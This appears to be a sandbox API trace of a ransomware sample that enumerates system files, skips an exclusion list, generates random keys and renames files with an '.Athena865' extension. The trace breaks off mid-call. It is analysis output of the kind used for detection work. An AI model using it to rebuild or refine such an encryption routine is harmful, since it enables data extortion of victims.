1 [0099.974] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0099.975] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0099.979] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.979] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.979] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.981] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x507d6060, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x507d6060, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x50906b60, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", cAlternateFileName="{1E942~2")) returned 1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2=".") returned 1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="..") returned 1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="windows") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="temp") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="boot") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0099.981] lstrlenW (lpString="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo") returned 56 [0099.981] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo" | out: lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo") returned="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo" [0099.981] lstrlenW (lpString="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo") returned 56 [0099.981] lstrlenW (lpString="Athena865") returned 9 [0099.981] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0099.981] lstrlenW (lpString=".dll") returned 4 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0099.981] lstrlenW (lpString=".lnk") returned 4 [0099.981] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0099.981] lstrlenW (lpString=".ini") returned 4 [0099.982] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0099.982] lstrlenW (lpString=".sys") returned 4 [0099.982] lstrcmpiW (lpString1="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0099.982] lstrlenW (lpString="{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo") returned 56 [0099.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo.Athena865") returned 113 [0099.982] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0099.983] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{1E9425CC-553B-418F-B0C6-AD1AC9E1BA0C}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{1e9425cc-553b-418f-b0c6-ad1ac9e1ba0c}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.983] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0099.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.983] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.984] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.984] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.984] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0099.992] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0099.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.994] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.994] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.994] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.994] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x308ccd40, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x308ccd40, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x309652c0, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", cAlternateFileName="{29088~1")) returned 1 [0099.994] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.994] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.994] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2=".") returned 1 [0099.994] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="..") returned 1 [0099.994] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="windows") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="temp") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="boot") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="perflogs") returned -1 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0099.995] lstrlenW (lpString="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo") returned 56 [0099.995] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo" | out: lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo") returned="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo" [0099.995] lstrlenW (lpString="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo") returned 56 [0099.995] lstrlenW (lpString="Athena865") returned 9 [0099.995] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0099.995] lstrlenW (lpString=".dll") returned 4 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2=".dll") returned 1 [0099.995] lstrlenW (lpString=".lnk") returned 4 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2=".lnk") returned 1 [0099.995] lstrlenW (lpString=".ini") returned 4 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2=".ini") returned 1 [0099.995] lstrlenW (lpString=".sys") returned 4 [0099.995] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo", lpString2=".sys") returned 1 [0099.995] lstrlenW (lpString="{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo") returned 56 [0099.995] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo.Athena865") returned 113 [0099.995] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29088c66-de5f-456f-85c0-6e4156f94358}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29088c66-de5f-456f-85c0-6e4156f94358}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0099.996] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29088c66-de5f-456f-85c0-6e4156f94358}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.997] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0099.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.997] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.998] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.998] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.998] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0099.999] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.003] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.004] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.004] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.005] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x37ac2a80, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x37ac2a80, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x37bf3580, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", cAlternateFileName="{29088~2")) returned 1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.005] lstrlenW (lpString="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo") returned 56 [0100.005] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo" | out: lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo") returned="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo" [0100.005] lstrlenW (lpString="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo") returned 56 [0100.005] lstrlenW (lpString="Athena865") returned 9 [0100.005] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.005] lstrlenW (lpString=".dll") returned 4 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.005] lstrlenW (lpString=".lnk") returned 4 [0100.005] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.005] lstrlenW (lpString=".ini") returned 4 [0100.006] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.006] lstrlenW (lpString=".sys") returned 4 [0100.006] lstrcmpiW (lpString1="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.006] lstrlenW (lpString="{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo") returned 56 [0100.006] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo.Athena865") returned 113 [0100.006] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29088c66-de5f-456f-85c0-6e4156f94358}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29088c66-de5f-456f-85c0-6e4156f94358}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.007] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29088C66-DE5F-456F-85C0-6E4156F94358}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29088c66-de5f-456f-85c0-6e4156f94358}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.007] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.007] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.008] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.008] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.008] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.010] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.011] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.011] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.011] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0100.012] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x18d21840, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x18d21840, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x18db9dc0, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", cAlternateFileName="{29296~1")) returned 1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2=".") returned 1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="..") returned 1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="windows") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="temp") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="boot") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.012] lstrlenW (lpString="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo") returned 56 [0100.012] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo" | out: lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo") returned="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo" [0100.012] lstrlenW (lpString="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo") returned 56 [0100.012] lstrlenW (lpString="Athena865") returned 9 [0100.012] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.012] lstrlenW (lpString=".dll") returned 4 [0100.012] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.012] lstrlenW (lpString=".lnk") returned 4 [0100.013] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.013] lstrlenW (lpString=".ini") returned 4 [0100.013] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.013] lstrlenW (lpString=".sys") returned 4 [0100.013] lstrcmpiW (lpString1="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.013] lstrlenW (lpString="{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo") returned 56 [0100.013] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo.Athena865") returned 113 [0100.013] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.014] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{29296136-1F54-4FD8-B5C7-32FC96EF3C76}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{29296136-1f54-4fd8-b5c7-32fc96ef3c76}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.014] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0100.014] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0100.014] CryptAcquireContextW (in: 